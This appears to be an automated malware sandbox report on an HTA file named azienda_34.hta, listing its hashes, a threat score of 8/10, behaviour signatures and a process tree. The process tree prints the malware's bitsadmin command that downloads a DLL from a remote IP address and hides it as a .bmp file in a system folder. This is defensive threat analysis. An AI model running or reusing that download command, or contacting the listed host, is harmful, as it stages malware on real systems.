Analysis

  • max time kernel
    91s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-02-2023 10:41

General

  • Target

    azienda_34.hta

  • Size

    6KB

  • MD5

    ef63c63f919688dcfa706ec8ccbd36d7

  • SHA1

    f5ec3767bc66821321927ac3fc3f86e5c83013e1

  • SHA256

    cc79c4a6c3e6f937692746d740a2d77781cd7b8397384af5e81cbf43896e3705

  • SHA512

    8b9baf968b3d9eefade0947ee10ea920f9bd036105f6f81c3a74e71a60f413904d10b1c4e2fb8e8497865b36e689281639ca9f4904348ed7fc5553dcd8f9d236

  • SSDEEP

    96:weiBzTLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4d296N:R0dU77rIKdn863jMM0OD9+VVF44xikuj

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_34.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4720
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.3/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
      2⤵
      • Download via BitsAdmin
      PID:5116

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/5116-132-0x0000000000000000-mapping.dmp